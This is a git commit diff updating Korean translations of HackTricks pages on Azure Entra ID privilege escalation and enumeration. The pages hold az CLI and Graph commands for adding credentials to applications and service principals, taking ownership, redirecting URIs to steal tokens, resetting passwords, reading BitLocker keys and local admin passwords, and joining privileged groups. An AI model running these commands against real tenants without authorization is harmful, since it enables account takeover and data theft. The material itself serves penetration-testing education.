Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-03-01 20:35:21 +00:00
parent 1734a5a5ae
commit 76cd495ae5
2 changed files with 185 additions and 110 deletions

View File

@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Entra ID의 내장 역할이 가진 **모든 세분화된 권한이** 사용자 지정 역할에서 **사용 가능한 것은 아니다.**
> Entra ID의 내장 역할이 가진 **모든 세분화된 권한이** 사용자 지정 역할에서 **사용할 수 있는 것은 아님을 주의하세요.**
## 역할
### 역할: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
이 역할은 주체(principals)에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세분화된 권한을 포함하고 있습니다. 이 두 작업은 권한 상승으로 악용될 수 있습니다.
이 역할은 역할을 principal에게 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세분화된 권한을 포함합니다. 두 동작 모두 권한 상승 악용될 수 있습니다.
- 사용자에게 역할 할당:
```bash
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
통해 공격자는 기존 애플리케이션에 **add credentials** (passwords or certificates)를 추가할 수 있습니다. 애플리케이션에 privileged permissions가 있다면, 공격자는 해당 애플리케이션으로 인증하여 그 권한을 획득할 수 있습니다.
권한을 통해 공격자는 기존 애플리케이션에 (비밀번호 또는 인증서) **자격 증명**을 추가할 수 있습니다. 애플리케이션이 특권 권한을 가지고 있다면, 공격자는 해당 애플리케이션으로 인증하여 그 권한을 획득할 수 있습니다.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
권한은 `applications/credentials/update` 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 제한됩니다.
`applications/credentials/update` 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 제한됩니다.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
자신을 owner로 추가하면, 공격자는 자격 증명과 권한을 포함한 애플리케이션을 조작할 수 있습니다.
자신을 owner로 추가하면, 공격자는 애플리케이션의 credentials 및 permissions을 포함하여 이를 조작할 수 있습니다.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,9 +77,9 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
공격자는 tenant의 사용자들이 사용 중인 applications에 redirect URI를 추가한 , 새 redirect URL을 사용하는 login URLs를 공유하여 그들의 tokens를 탈취할 수 있습니다. 사용자가 이미 해당 application에 로그인되어 있는 경우에는, 사용자가 아무것도 승인할 필요 없이 authentication이 자동으로 이루어집니다.
공격자는 tenant의 사용자들이 사용 중인 applications에 redirect URI를 추가한 다음, 새 redirect URL을 사용하는 login URLs를 공유하여 그들의 tokens를 탈취할 수 있습니다. 사용자가 이미 해당 application에 로그인되어 있다면, 사용자가 별도로 승인할 필요 없이 인증이 자동으로 진행된다는 점에 유의하세요.
또한 더 많은 권한을 얻기 위해 application이 요청하는 permissions를 변경하는 것도 가능하지만, 이 경우 사용자는 모든 permissions를 요하는 prompt를 다시 수락해야 합니다.
또한 application이 요청하는 permissions를 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 user는 모든 permissions를 요하는 prompt를 다시 수락해야 합니다.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,15 +88,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
```
### 애플리케이션 권한 상승
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 기본 애플리케이션에 유형이 **`Application`**인 **API permissions**이 할당되어 있는 경우를 흔히 볼 수 있습니다.
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 기본적으로 **`Application`** 유형의 **API 권한**이 할당된 기본 애플리케이션을 찾는 것은 매우 흔했습니다. API Permission(Entra ID 콘솔에서의 명칭) 중 **`Application`** 유형은 애플리케이션이 사용자 컨텍스트(앱에 사용자가 로그인하지 않아도) 없이 API에 접근하고 작업을 수행할 수 있으며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않다는 뜻입니다. 따라서 **모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것이 매우 흔합니다**.
Entra ID 콘솔에서 부르는 API Permission 유형 중 **`Application`**은 애플리케이션이 사용자 컨텍스트(앱에 사용자가 로그인하지 않은 상태) 없이 API에 접근하고 작업을 수행할 수 있으며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않다는 뜻입니다. 따라서 거의 모든 Entra ID 테넌트에서 **권한이 높은 애플리케이션을 찾는 것이 매우 흔합니다**.
따라서 공격자가 애플리케이션의 자격 증명(비밀 또는 인증서)을 **업데이트할 수 있는 권한/역할**을 가지고 있다면, 공격자는 새 자격 증명을 생성하여 이를 사용해 **애플리케이션으로 인증**할 수 있고, 그 애플리케이션이 가진 모든 권한을 획득할 수 있습니다.
그런 다음, 공격자가 애플리케이션의 자격 증명(secret o certificate)을 업데이트할 수 있는 권한/역할을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용해 **authenticate as the application**하여 해당 애플리케이션이 가진 모든 권한을 획득할 수 있습니다.
언급된 블로그는 일부 일반적인 Microsoft 기본 애플리케이션의 **API 권한**을 공유했지만, 이 보고서 이후 Microsoft가 이 문제를 수정하여 이제는 더 이상 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 **악용될 수 있는 높은 권한의 커스텀 애플리케이션**을 찾는 것이 가능합니다.
언급된 블로그는 일부 Microsoft 기본 애플리케이션의 **API permissions**를 공유했으나, 이 보고서 이후 Microsoft는 이 문제를 수정하여 이제 Microsoft 애플리케이션으로 로그인하는 것이 불가능합니다. 그러나 여전히 악용될 수 있는 **권한이 높은 custom applications**를 찾을 수 있습니다.
How to enumerate the API permissions of an application:
애플리케이션의 API 권한을 열거하는 방법:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -127,7 +125,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>non-Microsoft APIs에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli)</summary>
<summary>모든 애플리케이션의 API 권한을 찾아 Microsoft-owned APIs로 표시</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -149,6 +147,32 @@ done
return 1
}
get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi
if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi
[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -157,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
tmp_perm_cache="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -171,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
# Print only app permissions where the target API is NOT Microsoft-owned.
# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -188,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
is_ms="true"
else
is_ms="false"
fi
permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
perm_label="${perm_type}:${perm_value}"
if [ -z "$permissions_csv" ]; then
permissions_csv="$perm_label"
else
permissions_csv="${permissions_csv},${perm_label}"
fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -205,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
권한은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있합니다. 해당 서비스 주체가 권한이 상승된 경우 공격자는 권한을 획득할 수 있습니다.
공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있도록 허용합니다. 서비스 주체가 높은 권한을 가지고 있다면, 공격자는 해당 권한을 획득하여 사용할 수 있습니다.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> 새로 생성된 비밀번호는 웹 콘솔에 표시되지 않으므로, 이는 service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.\
> 새로 생성된 비밀번호는 web console에 표시되지 않으므로, 이는 service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.\
> API에서는 다음 명령으로 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
오류 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`가 발생하면, 이는 **SP의 passwordCredentials property를 수정할 수 없기 때문**이며 먼저 이를 잠금 해제해야 합니다. 이를 위해 `microsoft.directory/applications/allProperties/update` 권한이 필요하며, 이 권한은 다음을 실행할 수 있게 합니다:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
이 권한을 통해 공격자는 기존 service principals에 credentials를 추가할 수 있습니다. 해당 service principal이 elevated privileges를 가지고 있으면, 공격자는 그 권한을 획득할 수 있습니다.
이 권한을 통해 attacker는 기존 service principals에 credentials를 추가할 수 있습니다. 해당 service principal이 elevated privileges를 가지고 있다면 attacker는 그 privileges를 획득할 수 있습니다.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
애플리케이션과 유사하게, 이 권한은 service principal에 더 많은 owners를 추가할 수 있게 합니다. service principal을 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
애플리케이션과 유사하게, 이 권한은 service principal에 더 많은 소유자를 추가할 수 있게 합니다. service principal을 소유하면 해당 자격 증명(credentials)과 권한(permissions)을 제어할 수 있습니다.
```bash
# Add new owner
spId="<spId>"
@@ -243,13 +279,13 @@ az ad sp credential reset --id <sp-id> --append
az ad sp owner list --id <spId>
```
> [!CAUTION]
> owner를 추가한 뒤 제거하려 했으나 API가 DELETE 메서드를 지원하지 않는다고 응답했습니다. DELETE가 owner를 삭제하는 데 사용해야 하는 메서드임에도 불구하고요. 그래서 **요즘은 소유자(owner)를 제거할 수 없습니다**.
> 소유자를 추가한 후 삭제를 시도했지만 API가 DELETE 메서드를 지원하지 않는다고 응답했습니다. (소유자를 삭제하려면 그 메서드를 사용해야 함에도 불구하고) 따라서 **요즘은 소유자를 제거할 수 없습니다**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
### `microsoft.directory/servicePrincipals/disable` `enable`
이 권한들은 service principals를 비활성화(disable)하고 활성화(enable)할 수 있게 합니다. 공격자는 이 권한을 용해 어떤 식으로든 접근할 수 있는 service principal을 활성화하여 권한 상승을 시도할 수 있습니다.
이 권한들은 service principals를 disableenable할 수 있게 합니다. 공격자는 이 권한을 용해 어떤 식으로든 접근할 수 있는 service principal을 enable하여 권한 상승시킬 수 있습니다.
이 기법에서는 공격자가 활성화된 service principal을 인수하기 위해 추가적인 권한이 필요하다는 점에 유의하세요.
이 기법의 경우 공격자가 enable된 service principal을 인수하려면 추가 권한이 필요하다는 점에 유의하세요.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
@@ -259,7 +295,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
이 권한들은 싱글 사인온(SSO)용 자격 증명을 생성하고 가져올 수 있게 하며, 이를 통해 타사 애플리케이션에 대한 접근이 가능해질 수 있습니다.
이 권한들은 single sign-on용 자격 증명을 생성하고 가져오는 것을 허용하며, 이 타사 애플리케이션에 대한 접근을 허용할 수 있습니다.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -285,15 +321,15 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
이 권한은 사용자를 관리자 권한이 있는 그룹에 추가할 수 있게 하여 권한 상승으로 이어질 수 있습니다.
이 권한은 사용자를 특권 그룹에 추가할 수 있게 하며, privilege escalation으로 이어질 수 있습니다.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**참고**: 이 권한은 Entra ID의 역할 할당 가능 그룹(role-assignable groups)을 제외합니다.
**참고**: 이 권한은 Entra ID role-assignable groups 제외합니다.
### `microsoft.directory/groups/owners/update`
이 권한을 통해 그룹의 소유자가 될 수 있습니다. 그룹 소유자는 그룹 멤버십과 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 privilege escalation을 초래할 수 있습니다.
이 권한을 통해 그룹의 소유자가 될 수 있습니다. 그룹 소유자는 그룹 구성원과 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 escalating privileges를 초래할 수 있습니다.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -302,13 +338,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
이 권한은 그룹에 멤버를 추가할 수 있게 합니다. An attacker는 자신이나 악성 계정을 privileged groups에 추가하여 권한 상승시킬 수 있습니다.
이 권한은 그룹에 구성원을 추가할 수 있게 합니다. 공격자는 자신이나 악성 계정을 권한이 있는 그룹에 추가하여 권한 상승을 통해 더 높은 접근 권한을 얻을 수 있습니다.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 합니다. 공격자는 동적 규칙을 수정하여 명시적 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 합니다. 공격자는 동적 규칙을 수정하여 명시적 추가 없이 자신을 권 그룹에 포함시킬 수 있습니다.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -323,7 +359,7 @@ az rest --method PATCH \
### Dynamic Groups Privesc
사용자가 자신의 속성을 수정하여 dynamic groups의 구성원으로 추가되도록 할 수 있어 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요:
사용자가 자신의 속성을 수정하여 dynamic groups의 멤버로 추가되면 escalate privileges할 수 있는 가능성이 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
dynamic-groups.md
@@ -333,13 +369,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
이 권한은 비관리자 사용자의 암호를 재설정할 수 있게 하여, 잠재적 공격자가 다른 사용자로 권한을 상승시킬 수 있도록 합니다. 이 권한은 사용자 지정 역할에 할당할 수 없습니다.
이 권한은 non-admin users의 비밀번호를 재설정할 수 있게 하여, 잠재적 attacker가 다른 사용자로 escalate privileges할 수 있 합니다. 이 권한은 custom roles에 할당할 수 없습니다.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
이 권한 사용자 속성을 수정할 수 있게 합니다. 속성 값에 따라 사용자를 추가하는 dynamic groups를 찾는 경우가 흔하므로, 이 권한을 해 사용자가 특정 dynamic group의 멤버가 되기 위해 필요한 속성 값을 설정하고 escalate privileges할 수 있습니다.
이 권한을 통해 사용자 속성을 수정할 수 있니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 흔히 찾을 수 있으므로, 이 권한을 이용해 사용자가 특정 동적 그룹의 구성원이 되도록 필요한 속성 값을 설정하여 권한을 상승시킬 수 있습니다.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -357,17 +393,17 @@ az rest --method PATCH \
```
## Conditional Access Policies & MFA bypass
잘못 구성된 conditional access policies가 MFA를 요구하도록 설정된 경우 우회될 수 있습니다. 확인:
MFA를 요구하는 잘못 구성된 Conditional Access Policies 우회될 수 있습니다. 확인:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
## 장치
## 디바이스
### `microsoft.directory/devices/registeredOwners/update`
이 권한은 공격자가 자신을 디바이스의 소유자로 지정하여 디바이스 관련 설정 및 데이터에 대한 제어 또는 접근 권한을 얻을 수 있게 합니다.
이 권한은 공격자가 스스로를 디바이스의 소유자로 지정하여 디바이스 설정 및 데이터에 대한 제어 또는 접근 권한을 얻을 수 있게 합니다.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -378,7 +414,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 접근 권한을 거나 보안 정책을 우회할 수 있게 합니다.
이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 액세스 권한을 획득하거나 보안 정책을 우회할 수 있게 합니다.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -389,7 +425,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
이 권한은 attackers가 Microsoft Entra joined devices에 대해 백업된 local administrator account credentials 속성(password 포함)을 읽을 수 있도록 허용합니다.
이 권한은 공격자가 Microsoft Entra에 조인된 장치의 백업된 로컬 관리자 계정 credentials 속성(password 포함)을 읽을 수 있도록 허용합니다.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -404,7 +440,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
이 권한은 BitLocker 키에 접근할 수 있도록 허용하며, 공격자가 드라이브를 복호화하여 데이터 기밀성이 침해될 수 있습니다.
이 권한은 BitLocker 키에 접근할 수 있하며, 공격자가 드라이브를 복호화하여 데이터 기밀성이 손상될 수 있습니다.
```bash
# List recovery keys
az rest --method GET \
@@ -415,7 +451,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## 다른 흥미로운 권한 (TODO)
## 기타 흥미로운 권한 (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`

View File

@@ -1,12 +1,12 @@
# Az - Entra ID (AzureAD) Azure IAM
# Az - Entra ID (AzureAD) & Azure IAM
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 신원 및 접근 관리 서비스입니다. 직원들이 조직 내부 및 외부의 리소스(예: Microsoft 365, the Azure portal 및 다양한 다른 SaaS 애플리케이션)에 로그인하고 액세스할 수 있도록 하는 데 핵심적인 역할을 합니다. Azure AD의 설계는 특히 **인증, 권한 부여, 및 사용자 관리**와 같은 필수 신원 서비스를 제공하는 데 중점을 둡니다.
Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 identity 및 access management 서비스입니다. 직원들이 조직 내외부의 리소스에 로그인하고 접근할 수 있도록 지원하며, Microsoft 365, the Azure portal 및 다양한 다른 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 핵심 identity 서비스 제공에 중점을 두며, 특히 **인증, 권한 부여 및 사용자 관리**를 제공합니다.
Azure AD의 주요 기능**다단계 인증** 및 **조건부 액세스**가 있으며, 다른 Microsoft 보안 서비스와의 원활한 통합을 지원합니다. 이러한 기능은 사용자 신원의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 니다. Microsoft의 클라우드 서비스 생태계에서 기본 구성 요소로서 Azure AD는 사용자 신원의 클라우드 기반 관리에 매우 중요합니다.
Azure AD의 주요 기능으로**다중 요소 인증** 및 **조건부 액세스**가 있으며, 다른 Microsoft 보안 서비스와의 원활한 통합을 지원합니다. 이러한 기능은 사용자 신원의 보안을 크게 향상시키고 조직이 접근 정책을 효과적으로 구현 및 강제할 수 있도록 돕습니다. Microsoft의 클라우드 서비스 생태계의 근간으로서, Azure AD는 사용자 신원의 클라우드 기반 관리에 있어 매우 중요합니다.
## 열거
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, 당신은 **Microsoft**에 속한 **tenant**의 **Azure Application**을 사용하고 있는 것입니다. 계정에서 생성할 수 있는 것들과 마찬가지로, 이러한 Applications **client id를 가지고 있습니다**. 콘솔에서 볼 수 있는 **allowed applications lists**에그들을 **모두 볼 수는 없습니다**, **하지만 기본적으로 허용되어 있습니다**.
어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, 당신은 **Microsoft**에 속한 **tenant**의 **Azure Application**을 사용하고 있는 것입니다. 계정에서 생성할 수 있는 것들과 마찬가지로, 이러한 Applications **have a client id**를 가집니다. 콘솔에서 볼 수 있는 **allowed applications lists**에는 이들 모두가 표시되지 않을 수 있지만, **but they are allowed by default**.
예를 들어, **authenticates**하는 **powershell script**는 client id **`1950a258-227b-4e31-a9cf-717495945fc2`**인 앱을 사용합니다. 이 콘솔에 나타나지 않더라도, sysadmin은 **해당 application을 차단**할 수 있어 사용자가 App을 통해 연결는 도구로 접근하지 못하게 만들 수 있습니다.
예를 들어, **authenticates**하는 **powershell script**는 client id **`1950a258-227b-4e31-a9cf-717495945fc2`**를 가진 app을 사용합니다. 해당 app이 콘솔에 표시되지 않더라도, sysadmin은 **block that application**하여 사용자가 해당 App을 통해 연결는 도구로 접근하지 못하게 수 있습니다.
하지만 **다른 client-ids**를 가진 애플리케이션들이 **Azure에 연결할 수 있게 해줍니다**:
그러나 **other client-ids**를 가진 애플리케이션들이 **will allow you to connect to Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -364,15 +364,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Conditional Access Policies
### MFA Conditional Access 정책
모든 사용자에게 MFA를 추가하는 것을 강력히 권장합니다. 하지만 일부 조직은 이를 설정하지 않거나 Conditional Access로 구성하여, 사용자가 특정 위치나 브라우저에서 로그인하거나 특정 조건을 만족할 때 **required MFA if**가 적용되도록 할 수 있습니다. 이러한 정책은 올바르게 구성되지 않으면 **bypasses**에 취약할 수 있습니다. 확인해 보세요:
모든 사용자에게 MFA를 설정하는 것을 강력히 권장합니다. 그러나 일부 회사는 이를 설정하지 않거나 Conditional Access로 설정할 수 있습니다: 사용자가 특정 위치나 브라우저 또는 **일부 조건**에서 로그인하면 **MFA가 요구됩니다**. 이러한 정책은 올바르게 구성되지 않으면 **bypasses**에 취약할 수 있습니다. 확인:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Groups
### 그룹
Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요:
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### 그룹에 사용자 추가
그룹 소유자는 그룹에 새 사용자를 추가할 수 있습니다.
그룹 소유자는 그룹에 새 사용자를 추가할 수 있습니다.
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 족하면 그룹에 추가다**는 뜻입니다. 물론, 조건이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용 **다른 그룹에 들어갈 수 있습니다**.\
> 동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요:
> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 족하면 그룹에 추가됩니다**. 물론, 조건이 **사용자가 제어할 수 있는 속성**에 기반한다면, 는 이 기능을 악용하여 **다른 그룹에 들어갈 수 있습니다**.\
> 다음 페이지에서 동적 그룹을 악용하는 방법 확인하세요:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> Service Principal의 소유자(Owner)비밀번호를 변경할 수 있습니다.
> Service Principal의 Owner는 password를 변경할 수 있습니다.
<details>
<summary>각 Enterprise App에 client secret을 나열하고 추가해 보세요</summary>
<summary>각 Enterprise App에 대해 client secret을 나열하고 추가해 보세요</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -715,10 +715,11 @@ Write-Output "Failed to Enumerate the Applications."
../az-basic-information/
{{#endref}}
App가 생성될 때 두 가지 유형의 권한이 부여됩니다:
앱이 생성되면 3가지 유형의 권한이 부여됩니다:
- **Permissions** **Service Principal**에 부여됩니다.
- **app** 사용자 대신 사용할 수 있는 **Permissions**.
- **Permissions**: **Service Principal**에 부여되는 권한(roles를 통해).
- **Permissions**: **app** 사용자 대신하여 가질 수 있고 사용할 수 있는 권한.
- **API Permissions**: 다른 역할이 해당 권한을 부여할 필요 없이 EntraID에 대한 권한을 앱에 부여하는 권한.
{{#tabs }}
{{#tab name="az cli" }}
@@ -772,7 +773,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>비-Microsoft API에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli)</summary>
<summary>모든 애플리케이션의 API 권한을 찾아 Microsoft-owned APIs표시하기 (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -794,6 +795,32 @@ done
return 1
}
get_permission_value() {
local resource_app_id="$1"
local perm_type="$2"
local perm_id="$3"
local key value
key="${resource_app_id}|${perm_type}|${perm_id}"
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
if [ -n "$value" ]; then
printf '%s\n' "$value"
return 0
fi
if [ "$perm_type" = "Scope" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
elif [ "$perm_type" = "Role" ]; then
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
else
value=""
fi
[ -n "$value" ] || value="UNKNOWN"
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
printf '%s\n' "$value"
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
